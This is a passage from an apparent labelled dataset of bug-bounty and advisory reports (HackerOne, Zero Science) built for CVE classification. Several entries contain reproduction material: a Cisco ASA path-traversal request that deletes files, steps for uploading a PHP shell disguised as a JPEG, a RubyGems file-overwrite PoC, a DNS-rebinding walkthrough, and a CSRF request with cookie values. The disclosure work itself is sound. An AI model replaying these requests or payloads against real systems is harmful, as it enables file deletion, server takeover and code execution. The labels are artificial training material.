0x42eb7d in main /root/perl/perlmain.c:121\n #8 0x7fba4cebe82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow /root/perl/regcomp.c:13652 S_regatom\n```\n\n## Impact\n\nDepending on the heap implementation a remote attacker could have complete control over the bytes written to memory.", "source": "hackerone", "timestamp": "2018-05-19", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "64c9809a73cbaf869081", "text": "[Unrestricted Upload of File with Dangerous Type] Unrestricted File Upload on https://my.stripo.email and https://stripo.email\n\nHi Stripo Inc, I found 2 Unrestricted File Upload Vulnerabilities on your website.\n\nFirst Vulnerability:\n>Step to Reproduce \n1. Create an account in \"https://my.stripo.email\"\n2. Simply Download a php shell from internet and open with text editor. ex: r57 shell \n3. Then save it as JPEG file. \n4. Go back to your stripo account and click on your profile icon on the top right corner of the website and go to show profile.\n(Try saving it as default .php document it does not let you to upload the php malicious shell )\n5. Upload your shell saved as JPEG as profile picture.\n6. After that this message will pop up on the screen \"User icon has been saved\".\n\nSecond Vulnerability:\n>Step to Reproduce \n1. Go to the URL \"https://stripo.email/template-order/\"\n2. Scroll down to \"Click or Drop file here\"\n3. Try Uploading .php shell downloaded earlier. (It does not allow you to upload php malicious shells)\n4. Now Upload the Shell that saved as JPEG.\n5. You will allow to upload Malicious shells saved as JPEG (image)\n\nPlease look at the Attached images.\n\n## Impact\n\nThe consequences of unrestricted file upload can vary, including complete system takeover, an overloaded file system or database, forwarding attacks to back-end systems, and simple defacement.Here is the list of attacks that the attacker might do:\n--Compromise the web server by uploading and executing a web-shell which can run commands, browse system files, browse local resources, attack \n other servers, and exploit the local vulnerabilities, and so forth.\n--Put a phishing page into the website.\n--Put a permanent XSS into the website.\n--Bypass cross-origin resource sharing (CORS) policy and exfiltrate potentially sensitive data.\n--Upload a file using malicious path or name which overwrites critical file or personal data that other users access. For example; the attacker might --- \n--replace the .htaccess file to allow him/her to execute specific scripts.\n\nTake a look at the \"https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload\" for full documentation.", "source": "hackerone", "timestamp": "2020-04-13", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "53b9215e298d11fa8ea3", "text": "[Improper Null Termination] PHP link() silently truncates after a null byte on Windows\n\nThe bug submitted at: https://bugs.php.net/bug.php?id=78862\nThe security advisory at: https://nvd.nist.gov/vuln/detail/CVE-2019-11044\n\nThe issue allow remote attackers to read or write arbitrary files via crafted input to an application that calls the vulnerable function. As demonstrated by a file\\0.ext attack that bypasses an intended configuration in which users may read or write only files.\n\n## Impact\n\nIn PHP versions 7.2.x below 7.2.26, 7.3.x below 7.3.13 and 7.4.0 on Windows, PHP link() function accepts filenames with embedded \\0 byte and treats them as terminating at that byte. This could lead to security vulnerabilities, e.g. in applications checking paths that the code is allowed to access.", "source": "hackerone", "timestamp": "2020-11-09", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "d56d7228088a1f6ba552", "text": "[Agora] fake agora message about withdraws link to virus\n\nthis is fake notice that agor has .. infront it askes to to download tor its a virusAgora..:Agora Announcement 2014-04-14On April 7th 2014 details of a serious bug in the OpenSSL library were made public. This bug which affected a large number of web servers and devices was popularly referred to as 'Heartbleed'. The bug allows anybody connecting to a vulnerable service to reveal the contents of memory on the server - and thus reveal secret keys user information ip addresses passwords etc.There is more information about the bug and the versions of OpenSSL that are affected at the website setup for the bug:http://heartbleed.com/Agora is a hidden service served on the Tor network and while we are not using the vulnerable library that is affected the Tor software (Browser) that you use to access our site is affected by this bug since it integrates the OpenSSL library. The Tor project wrote a blog post about how this bug affects various aspects of the Tor service:https://blog.torproject.org/blog/openssl-bug-cve-2014-0160For users of the Tor Browser Bundle you should immediately upgrade to the latest release version immediately as the bundled version of Tor is vulnerable to the attack.Get the latest Tor Browser Bundle version fromhttp://sourceforge.net/projects/tor-browser/files/latest/We are doing our very best to protect our security as well as yours but you also must put in efforts to protect yourself.-Agora", "source": "gayanku", "timestamp": "2014-04-15", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "8d225f116fe858122344", "text": "Sitemagic CMS 2010.04.17 (SMExt) Remote Cross-Site Scripting Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2011-06-21", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "b4389ca4eb52a0c076bd", "text": "Ecessa WANWorx WVR-30 10.7.4 CSRF Add Superuser Exploit\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2018-06-24", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "6ae1230c6c188e6f4114", "text": "Zen Cart v1.3.9f Multiple Remote Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2010-10-01", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "61811f5e62c1d8ae0c5f", "text": "Real Estate Portal v4.1 Remote Code Execution and Persistent XSS Vulnerabilities\n\nSeverity: high", "source": "zeroscience", "timestamp": "2016-05-25", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "37aef3edd290d586f9aa", "text": "[Uncontrolled Resource Consumption] Client DoS due to large DH parameter (CVE-2018-0732)\n\nhttps://www.openssl.org/news/secadv/20180612.txt\n\n```\nOpenSSL Security Advisory [12 June 2018]\n========================================\n\nClient DoS due to large DH parameter (CVE-2018-0732)\n====================================================\n\nSeverity: Low\n\nDuring key agreement in a TLS handshake using a DH(E) based ciphersuite a\nmalicious server can send a very large prime value to the client. This will\ncause the client to spend an unreasonably long period of time generating a key\nfor this prime resulting in a hang until the client has finished. This could be\nexploited in a Denial Of Service attack.\n\nDue to the low severity of this issue we are not issuing a new release of\nOpenSSL 1.1.0 or 1.0.2 at this time. The fix will be included in OpenSSL 1.1.0i\nand OpenSSL 1.0.2p when they become available. The fix is also available in\ncommit ea7abeeab (for 1.1.0) and commit 3984ef0b7 (for 1.0.2) in the OpenSSL git\nrepository.\n\nThis issue was reported to OpenSSL on 5th June 2018 by Guido Vranken who also\ndeveloped the fix.\n```\n\n## Impact\n\nClient DoS", "source": "hackerone", "timestamp": "2018-09-20", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "54c6dfcfcd6f521f8c44", "text": "HomeAutomation v3.3.2 Open Redirect\n\nSeverity: low", "source": "zeroscience", "timestamp": "2019-12-29", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "cf1adecf5b5541e59608", "text": "ReQuest Serious Play F3 Media Server 7.0.3 Debug Log Disclosure\n\nSeverity: high", "source": "zeroscience", "timestamp": "2020-10-18", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "070ab1226bd671c57a12", "text": "[Out-of-bounds Read] OOB read in TS_OBJ_print_bio() (CVE-2016-2180)\n\nThe function TS_OBJ_print_bio() misuses OBJ_obj2txt(): the return value is\nthe total length the OID text representation would use and not the amount\nof data written. This will result in OOB reads when large OIDs are presented.\n\nrefer:\nhttps://www.openssl.org/news/secadv/20160922.txt", "source": "hackerone", "timestamp": "2017-05-25", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "8f66c249eeec6e579cc0", "text": "[Path Traversal] Unauthenticated Arbitrary File Deletion \"CVE-2020-3187\" in █████\n\n**Summary:**\n\nA vulnerability in the interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct directory traversal attacks and obtain read and delete access to sensitive files.\n\n**Description:**\n\nVulnerable host:\n`██████████`\n\n\n## Impact\n\nAn exploit could allow the attacker to view or delete arbitrary files on the system.\n\n## Step-by-step Reproduction Instructions\n\n1.Identifying vulnerable host by send request to /+CSCOE+/session_password.html.\n\ncurl -skiL \"███/+CSCOE+/session_password.html\"\n\n```\nGET /+CSCOE+/session_password.html HTTP/1.1\nHost: ███████\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,ar;q=0.7,en;q=0.3\nAccept-Encoding: gzip, deflate\nConnection: close\nCookie: webvpnlogin=1; webvpnLang=en\nUpgrade-Insecure-Requests: 1\n```\n\nIf the target is vulnerable, the response header will display webvpn header, like:\nThe request gave me the following response\n\n```\nHTTP/1.1 200 OK\nContent-Type: text/plain\nContent-Length: 0\nCache-Control: no-cache\nPragma: no-cache\nConnection: Keep-Alive\nDate: Wed, 04 Nov 2020 21:40:44 GMT\nX-Frame-Options: SAMEORIGIN\nwebvpn:\n```\n\n**2.Perform exploits to delete files by adding token in cookie header request.**\n\nFor example, I wanted to delete this (██████/+CSCOU+/csco_logo.gif) file.\nThat did not work because sometimes logo.gif/png has permission issues so try this \"█████/+CSCOE+/blank.html\"\n\nYou can also delete the file \"/+CSCOE+/blank.html\" (an empty HTML file), as it might be a problem with the permission of the custom logo file sometimes logo.gif has permission issue so we might not be able to delete but we can delete other files\n\nRequest:\n\n```GET /+CSCOE+/blank.html HTTP/1.1\nHost: ██████\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,ar;q=0.7,en;q=0.3\nAccept-Encoding: gzip, deflate\nConnection: close\nCookie: webvpnlogin=1; webvpnLang=en\nUpgrade-Insecure-Requests: 1```\n\nResponse:\n\n```\nHTTP/1.1 200 OK\nContent-Type: text/html; charset=utf-8\nCache-Control: no-cache\nPragma: no-cache\nConnection: Keep-Alive\nDate: Wed, 04 Nov 2020 21:54:48 GMT\nX-Frame-Options: SAMEORIGIN\nContent-Length: 13\n\n```\n\n**3. So I exploited the CVE and deleted the blank file. As following:**\n\nRequest:\n\n```\nGET /+CSCOE+/session_password.html HTTP/1.1\nHost: █████████\nCookie: token=../+CSCOE+/blank.html\nUser-Agent: curl/7.47.0\nAccept: */*\n```\n\nResponse:\n\n```\nHTTP/1.1 200 OK\nContent-Type: text/plain\nContent-Length: 0\nCache-Control: no-cache\nPragma: no-cache\nConnection: Keep-Alive\nDate: Wed, 04 Nov 2020 21:55:02 GMT\nX-Frame-Options: SAMEORIGIN\nwebvpn:\n ```\n\nFile deleted successfully:\n\n`curl -Ik ████/+CSCOE+/blank.html`\n```\nHTTP/1.1 404 Not Found\nCache-Control: no-cache\nPragma: no-cache\nConnection: Close\nDate: Wed, 04 Nov 2020 21:55:08 GMT\nX-Frame-Options: SAMEORIGIN\n\nFile not found\n```\n\nWarning : This can lead to a denial of service (DOS) on the VPN by deleting the lua source code files from the file system, which will break the WebVPN interface until the device is rebooted.\n\n## Suggested Mitigation/Remediation Actions\n\nUpgrade the ASA software version per the referenced advisory. This advisory is available at the following link:\n- https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-path-JE3azWw43\n\n## Impact\n\n*High - This vulnerability allows the attacker to delete files within the web services file system.*", "source": "hackerone", "timestamp": "2020-11-23", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "2c0fe1ce68af94b0deb4", "text": "FatPipe Networks WARP 10.2.2 Authorization Bypass\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2021-09-27", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "2d3b52d367fdaba6c5ea", "text": "[Information Disclosure] Outdated Jenkins server hosted at OwnCloud.org\n\n###Summary: \nThe target OwnCloud's server is running an outdated version of _Jenkins server_ which is vulnerable to various attacks.\n\nServer Location: `https://ci.owncloud.org`\n\nVulnerable Software: `Jenkins ver. 2.27`\n\n###Proof of Exploitability\n\nCVE-2016-3727\n**POC URL:** `https://ci.owncloud.org/computer/(master)/api/xml`\n\n>Details:\n\n> The API URL /computer/(master)/api/xml allowed users with the extended read permission for the master node to see some global Jenkins configuration, including the configuration of the security realm.\n\n> Source: https://jenkins.io/security/advisory/2016-05-11/\n\n\nAdditionally, the current software version is also vulnerable to RCE.\n>CVE-2017-2608\n\n>XStream remote code execution vulnerability\n\n>Affected Versions: < 2.43\n\n> Source: https://jenkins.io/security/advisory/2017-02-01/\n\n###Recommended Fix\nUpdate Jenkins server to latest version 2.47", "source": "hackerone", "timestamp": "2017-03-30", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "3c30a528acd0ce05f4ce", "text": "[Cross-Site Request Forgery (CSRF)] CSRF на загрузку изображения Pandao\n\nDomain, site, application\nhttps://pandao.ru/\n--\n(Don't forget to include site address / application name / version information)\nhttps://pandao.ru/\nTesting environment\n--\n(OS version, browser information, settings and prerequisites to reproduce vulnerability, testing tools used, etc)\n\nParrot OS\nSteps to reproduce\n\n[+] Запустить браузер\n[+] Запустить перехватчик запросов\n[+] Перехватить запрос и использовать PoC эксплоит указанный ниже\n--\n(please specify all steps starting from opening site in \"clear\" browser/installing application and logging in)\n\nActual results\nУязвимость работает\n--\n(describe current behavior you believe is invalid)\nОтсутствие CSRF Token\n\nExpected results, security impact description and recommendations\nВнедрить CSRF Token\n--\n(describe why you believer this behavior is security vulnerability, explain behavior you expect at this place as a correct or refer to known best practices)\n\nC помощью данной уязвимости Хакер может заставить пользователя залить любое изображение на свой профиль\n\n\n\n(Request)\n\n```\nPOST /ajax/avatar/upload HTTP/1.1\nHost: pandao.ru\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0\nAccept: application/json, text/javascript, */*; q=0.01\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: https://pandao.ru/profile/settings\nX-Requested-With: XMLHttpRequest\nContent-Type: multipart/form-data; boundary=---------------------------20710639314159957421651418337\nContent-Length: 35737\nDNT: 1\nConnection: close\nCookie: user_key=site_Niykrmb3YxnCX7c8qRukmYpcwZTQL2jS; device_view=full; pndsid=55vkmjjnr995gipgvk9rpfki27; split=2; cust_pr=51706846:1548001906:$2y$10$rHJCofE6CrQGEgjv0SOI6u8Kr1o94iNsEBYTgh6b1kjRuTK.pIFrG\n\n-----------------------------20710639314159957421651418337\nContent-Disposition: form-data; name=\"file\"; filename=\"photo_2019-01-17_00-16-37.jpg\"\nContent-Type: image/jpeg\n\nIMAGE\n-----------------------------20710639314159957421651418337--\n```\n\nPoC, exploit code, screenshots, video, references, additional resources\n\nФайл находится ниже\n--\n(all information which can help in bug validation and fixing. This information may be helpful, but remember: it doesn't replace the report itself. Please avoid unnecessary post-exploitation)\n\n## Impact\n\nC помощью данной уязвимости Хакер может заставить пользователя залить любое изображение на свой профиль", "source": "hackerone", "timestamp": "2019-01-28", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "ebecfa873c4f4b7073d1", "text": "RealtyScript v4.0.2 Multiple Time-based Blind SQL Injection Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2015-10-19", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "e81f8c0cd8a98ba6d634", "text": "[Cryptographic Issues - Generic] RCE (Remote code execution) in one of DoD's websites\n\n**Summary:**\nThe targeted website is vulnerable to CVE-2017-1000486, by only running command was (whoami) to prove that the RCE exist has been run successfully on the target\n**Description:**\nThe target uses a vulnerable version of primefaces : Primetek Primefaces 5.x, that is vulnerable to a weak encryption flaw resulting in remote code execution\n## Impact\nCritical\n## Step-by-step Reproduction Instructions\nUsing the following exploit : https://github.com/pimps/CVE-2017-1000486\n1. python primefaces.py████████/\n\n## Product, Version, and Configuration (If applicable)\nPrimefaces 5.3.6\n## Suggested Mitigation/Remediation Actions\nPrimefaces has to be updated to a newer version\n\n## Impact\n\nAn attacker could execute remote codes on the target system, that could impact all of the CIA triad", "source": "hackerone", "timestamp": "2020-07-30", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "150141fdf42d2eb80cc6", "text": "[Improper Authentication - Generic] Subdomain Takeover Via via Dangling NS records on Amazon Route 53 http://api.e2e-kops-aws-canary.test-cncf-aws.canary.k8s.io\n\nGood day, I truly hope it treats you great on your side of the screen :)\n\n\n\n\nI have found that your website http://api.e2e-kops-aws-canary.test-cncf-aws.canary.k8s.io is pointed via Name Server records to AWS route 53.\n\nThese name server records have been deleted, I was able to create a matching zone file, and takeover full control of the domain, and all DNS records.\n\nIt is possible to create any subdomain, MX records, A, AAAA, txt, PTR any records to control the domain.\n\nPlease let me know any subdomain I can create if needed to show impact, I have used test.yourdomain to show the risk here.\n\nI am able to make an email address at your domain and send and receive responses. This allows access to admin panels that are secured by needing an email address at your domain.takeover.\nGoogle Docs, Slack Chats, anywhere the authentication needed is an email address at your domain is now accessible with this risk.\n\nThis also allows access to the postmaster account for the subdomain, which will allow me to whitelist SSL issuing aliases via email validation:\n\nhttps://support.dnsimple.com/articles/ssl-certificates-email-validation/#requirements\nhttps://www.digicert.com/ssl-support/validation/not-receiving-dcv-emails.htm\n\n\nPlease see my POC (Pug of Concept)\nhttp://api.e2e-kops-aws-canary.test-cncf-aws.canary.k8s.io\n\nPOC Video:\nhttps://web.archive.org/web/20191125154616/http://api.e2e-kops-aws-canary.test-cncf-aws.canary.k8s.io/\n\nSupport for High Impact Rating: (7.5)\n\nhttps://nvd.nist.gov/vuln/detail/CVE-2017-14389\n\nAttack Vector (AV): Network\nAttack Complexity (AC): Low\nPrivileges Required (PR): None\nUser Interaction (UI): None\nScope (S): Unchanged\nConfidentiality (C): None\nIntegrity (I): High\nAvailability (A): None\n\n\n\nPlease verify your dns settings have been updated lag for domain propagation can take place.\nhttps://dnschecker.org/#A/api.e2e-kops-aws-canary.test-cncf-aws.canary.k8s.io\n\nOptions How to fix:\n\n1) Remove the Name Server records that point to Name Servers you do not control.\n\n2) Ask me to remove my registered Name Servers on AWS Route 53 and you can re register yours :)\n\nMay you be well on your side of the screen :)\n\n-Eric\n\n## Impact\n\nImpact:\n\nCyber attackers can launch a phishing campaign leveraging your established (soon to be impacted) brand reputation.\n\nThe victim has no way of telling, whether the content is served by the domain owner or the cyber attacker.\n\nAttackers can also chain higher severity attacks to this. Many applications expose session cookies to a wildcard domain (*.example.com),\nso any subdomain can access them. An attacker can take a forgotten subdomain, trick the user to visit it, and extract cookies \n(even those with secure flag). This can be seen as an advanced version of XSS.", "source": "hackerone", "timestamp": "2020-11-29", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "48a44b326ef9208c9e11", "text": "[Cross-site Scripting (XSS) - Generic] XSS in the \"Poll\" Feature on Twitter.com\n\nI have found an XSS on the \"Poll\" feature on Twitter.com. \n\nPayload Example:\n``\n\nScreenshot: I have attached a screenshot in this submission in order to demonstrate the issue.\n\nBest,\nMazin", "source": "hackerone", "timestamp": "2016-08-12", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "2a5bf8d60270f320b214", "text": "ViArt Shop Enterprise 4.1 Arbitrary Command Execution Vulnerability\n\nSeverity: high", "source": "zeroscience", "timestamp": "2012-09-25", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "88d73d699c2a920b6e0c", "text": "FLIR Systems FLIR Thermal Camera PT-Series (PT-334 200562) Remote Root Exploit\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2017-09-25", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "d163551685e738996da3", "text": "[Violation of Secure Design Principles] SIGSEGV - mrb_yield_with_class\n\nLinux Ubuntu Xenial X64\ncommit 63dbed00946afda34178a479cfa38fa78d620a00\nAuthor: Yukihiro \"Matz\" Matsumoto \nDate: Tue Mar 7 15:01:09 2017 +0900\n\n\nPoC\n```\ndef a\ninstance_exec (){return}\na()ensure\nend\na\n```\n\noutput\n```\n [----------------------------------registers-----------------------------------]\nRAX: 0x7ffff7fec7d0\nRBX: 0x7ffff7fec7e0\nRCX: 0x7ffff7fca800 --> 0x0\nRDX: 0x7ffff7fec7e0\nRSI: 0x7ffff7fec7d0\nRDI: 0x7ffff7fca800 --> 0x0\nRBP: 0x7fffffffd780 --> 0x7fffffffd800 --> 0x7fffffffd880 --> 0x7fffffffdf00 --> 0x7fffffffdf50 --> 0x7fffffffdfb0 (--> ...)\nRSP: 0x7fffffffd780 --> 0x7fffffffd800 --> 0x7fffffffd880 --> 0x7fffffffdf00 --> 0x7fffffffdf50 --> 0x7fffffffdfb0 (--> ...)\nRIP: 0x41ecc8 (:\tmov rdx,QWORD PTR [rax+0x8])\nR8 : 0x7ffff7fec7d0\nR9 : 0x6b8750 --> 0xc ('\\x0c')\nR10: 0x1\nR11: 0x246\nR12: 0x401990 (<_start>:\txor ebp,ebp)\nR13: 0x7fffffffe310 --> 0x2\nR14: 0x0\nR15: 0x0\nEFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)\n[-------------------------------------code-------------------------------------]\n 0x41ecbc :\tmov rax,QWORD PTR [rbp-0x10]\n 0x41ecc0 :\tlea rdx,[rax+0x10]\n 0x41ecc4 :\tmov QWORD PTR [rbp-0x10],rdx\n=> 0x41ecc8 :\tmov rdx,QWORD PTR [rax+0x8]\n 0x41eccc :\tmov rax,QWORD PTR [rax]\n 0x41eccf :\tmov QWORD PTR [rcx],rax\n 0x41ecd2 :\tmov QWORD PTR [rcx+0x8],rdx\n 0x41ecd6 :\tmov rax,QWORD PTR [rbp-0x18]\n[------------------------------------stack-------------------------------------]\n0000| 0x7fffffffd780 --> 0x7fffffffd800 --> 0x7fffffffd880 --> 0x7fffffffdf00 --> 0x7fffffffdf50 --> 0x7fffffffdfb0 (--> ...)\n0008| 0x7fffffffd788 --> 0x420b4c (:\tmov rax,QWORD PTR [rbp-0x48])\n0016| 0x7fffffffd790 --> 0x6b8750 --> 0xc ('\\x0c')\n0024| 0x7fffffffd798 --> 0x7ffff7fec7d0\n0032| 0x7fffffffd7a0 --> 0x747d10 --> 0x20d\n0040| 0x7fffffffd7a8 --> 0xd ('\\r')\n0048| 0x7fffffffd7b0 --> 0x1ffffd810\n0056| 0x7fffffffd7b8 --> 0x6b1010 --> 0x7fffffffde10 --> 0x0\n[------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\nStopped reason: SIGSEGV\n0x000000000041ecc8 in stack_copy (dst=0x7ffff7fca810, src=0x7ffff7fec7e0, size=0x0) at /home/vagrant/mruby/src/vm.c:87\n87\t *dst++ = *src++;\n```\n\nbt\n```\n#0 0x000000000041ecc8 in stack_copy (dst=0x7ffff7fca810, src=0x7ffff7fec7e0, size=0x0) at /home/vagrant/mruby/src/vm.c:87\n#1 0x0000000000420b4c in mrb_yield_with_class (mrb=0x6b1010, b=..., argc=0x1, argv=0x7ffff7fec7d0, self=..., c=0x6b8750) at /home/vagrant/mruby/src/vm.c:693\n#2 0x000000000046aaf8 in mrb_obj_instance_exec (mrb=0x6b1010, self=...) at /home/vagrant/mruby/mrbgems/mruby-object-ext/src/object.c:87\n#3 0x0000000000422bb4 in mrb_vm_exec (mrb=0x6b1010, proc=0x6b3ef0, pc=0x7208b0) at /home/vagrant/mruby/src/vm.c:1229\n#4 0x0000000000421088 in mrb_vm_run (mrb=0x6b1010, proc=0x6b3f20, self=..., stack_keep=0x0) at /home/vagrant/mruby/src/vm.c:822\n#5 0x0000000000429367 in mrb_top_run (mrb=0x6b1010, proc=0x6b3f20, self=..., stack_keep=0x0) at /home/vagrant/mruby/src/vm.c:2581\n#6 0x00000000004497dd in mrb_load_exec (mrb=0x6b1010, p=0x70d970, c=0x70c5d0) at /home/vagrant/mruby/mrbgems/mruby-compiler/core/parse.y:5759\n#7 0x0000000000449873 in mrb_load_file_cxt (mrb=0x6b1010, f=0x70d5c0, c=0x70c5d0) at /home/vagrant/mruby/mrbgems/mruby-compiler/core/parse.y:5768\n#8 0x00000000004022f0 in main (argc=0x2, argv=0x7fffffffe318) at /home/vagrant/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:227\n#9 0x00007ffff7725830 in __libc_start_main (main=0x401fd6
, argc=0x2, argv=0x7fffffffe318, init=, fini=,\n rtld_fini=, stack_end=0x7fffffffe308) at ../csu/libc-start.c:291\n#10 0x00000000004019b9 in _start ()\n```", "source": "hackerone", "timestamp": "2017-04-13", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "05ddbae674831dca1744", "text": "[Improper Access Control - Generic] DNS rebinding in --inspect (insufficient fix of CVE-2018-7160)\n\n**Summary:** While the debugger (i.e., the --inspect option) tries to prevent DNS rebinding, the whitelist is excessive.\n\n**Description:** The whitelist includes “localhost6”, which is not that widespread. When “localhost6” is not present in /etc/hosts, it is just an ordinary domain that is resolved via DNS, i.e., over network. If the attacker controls victim's DNS server or can spoof its responses, the DNS rebinding protection can be bypassed by using the “localhost6” domain. As long as the attacker uses the “localhost6” domain, they can still apply the attack described in CVE-2018-7160.\n\nReasoning why localhost6 is not so common and Node.js should not rely on its presence in the hosts file:\n\n* It is not even present in the node:latest Docker image (sha256:aa1930b56896a43dedb227526d5d40f4a6e9157f9d8703f9584650cde510438a)\n* I haven't seen it in Windows 10.\n* Unlike RFC 6761 for localhost, I have found no RFC that mentions localhost6 (see https://www.google.com/search?q=localhost6+site%3Atools.ietf.org ).\n\n## Steps To Reproduce:\n\nPreconditions: Victim has no entry for localhost6 in hosts and attacker controls DNS responses. (It does not matter if the attacker control the DNS server or the network communication between the DNS server and the victim.)\n\n 1. Victim runs node with --inspect option\n 2. Victim visits attacker's webpage\n 3. The attacker's webpage opens http://localhost6:9229\n 4. Victim finds no “localhost6” entry in hosts file, so it asks the DNS server and gets . (Maybe the response will have a short TTL. There are multiple tricks to make DNS rebinding successful in a short time, but I am not going to be exhaustive.)\n 5. Victim loads webpage http://localhost6:9229 from .\n 6. The webpage http://localhost6:9229 tries to load http://localhost6:9229/json from attacker's server. (If the IP address of “localhost6” is still cached, attacker needs to retry. There are techniques that can speed it up, like using RST packet.)\n 7. Due to a short TTL, the DNS server will be soon asked again about an entry for “localhost6”. This time, the DNS server responds “127.0.0.1”.\n 8. The http://localhost6:9229 website (i.e., the one hosted on ) will retrieve http://localhost6:9229/json from 127.0.0.1, including webSocketDebuggerUrl.\n 9. Now, the attacker knows the webSocketDebuggerUrl and can connect to is using WebSocket. Note that WebSocket is not restricted by same-origin-policy. By doing so, they can gain the privileges of the Node.js instance.\n\nVulnerable code: https://github.com/nodejs/node/blob/fdf0a84e826d3a9ec0ce6f5a3f5adc967fe99408/src/inspector_socket.cc#L584\n\n## Impact:\n\nAttacker can gain access to the Node.js debugger, which can result in remote code execution.\n\n## Supporting Material/References:\n\n * Original vulnerability: https://nvd.nist.gov/vuln/detail/CVE-2018-7160\n * Vulnerable code: https://github.com/nodejs/node/blob/fdf0a84e826d3a9ec0ce6f5a3f5adc967fe99408/src/inspector_socket.cc#L584\n * Documentation that mentions the vulnerable behavior: https://nodejs.org/en/docs/guides/debugging-getting-started/\n\n## Impact\n\nAttacker can gain access to the Node.js debugger, which can result in remote code execution.", "source": "hackerone", "timestamp": "2021-02-23", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "f2a15193c8a4dd273656", "text": "[Path Traversal] Installing a crafted gem package may create or overwrite files\n\nThere is no check for `name` field in `metadata.gz`. By assigning a maliciously crafted string like `../../../../../any/where` to the field, an attacker can create an arbitrary file out of the directory of the gem, or even replace an existing file with a malicious file.\n\n## Proof of Concept 1: Create a file anywhere\n\nThis PoC attempts to create a file `/tmp/malicious-0/BOOOOM`.\n\n1) Download the attached file `malicious.gem`.\n2) Run `gem install malicious.gem --no-doc`.\n3) `/tmp/malicious-0/BOOOOM` should be created.\n\n`malicious.gem` assigns `../../../../../../../../../../tmp/malicious` as `name` field. This attack is relatively weak since the path must include a directory named `-`, such as `malicious-0`. Still, there are many chances that cause a catastrophe. For example, think of replacing a file in `/etc/dbus-1/`.\n\n## Proof of Concept 2: Replace `rackup` command\n\nThis PoC attempts to replace `gems/rack-2.0.3/bin/rackup` with a malicious file.\n\n1) Download the attached file `replace-rackup.gem`.\n2) Run `gem install rack -v 2.0.3`.\n3) Run `gem install replace-rackup.gem --no-doc`.\n4) Run `rackup`. It will emit just `BOOOOM!`.\n\n`replace-rackup.gem` assigns `../gems/rack` as `name` field, and contains a malicious file `bin/rackup`. This is really exploitable for attackers.\n\n## Note\n\nFor how to create the malicious gems, see the attached file `src.tar.gz`.\n\nIn my opinion, **this attack is much more dangerous** than the issues I reported recently. I hope you could fix this issue ASAP.", "source": "hackerone", "timestamp": "2017-08-31", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "0a373e9b225169900f35", "text": "Dasan Networks GPON ONT WiFi Router H64X Series Privilege Escalation\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2017-07-12", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "101fbfa62c134ba85056", "text": "[Code Injection] Unauthenticated SSRF in jira.tochka.com leading to RCE in confluence.bank24.int\n\n# Summary\n\nThis report describes a combination of two separate vulnerabilities in two separate services. This chain of vulnerabilities allows unauthenticated attacker to run arbitrary code on a server inside the company's internal network.\n\n## Vulnerability 1\nJira at [https://jira.tochka.com](https://jira.tochka.com) is vulnerable to [SSRF in the /plugins/servlet/gadgets/makeRequest resource - CVE-2019-8451](https://jira.atlassian.com/browse/JRASERVER-69793).\nAnyone on the internet can make it issue arbitrary HTTPS requests and read responses.\n\nMoreover:\n - Any number of arbitrary HTTP headers can be specified in request.\n - Requests are not limited by type.\n - POST and GET requests are supported.\n\nThis allows an attacker to reach internal instance of Confluence [https://confluence.bank24.int](https://confluence.bank24.int).\n\n## Vulnerability 2\nConfluence at [https://confluence.bank24.int](https://confluence.bank24.int), uses a vulnerable version of a `Widget Connector` plugin. This vulnerability leads to an RCE (`CVE-2019-3396`).\n\nThere is an 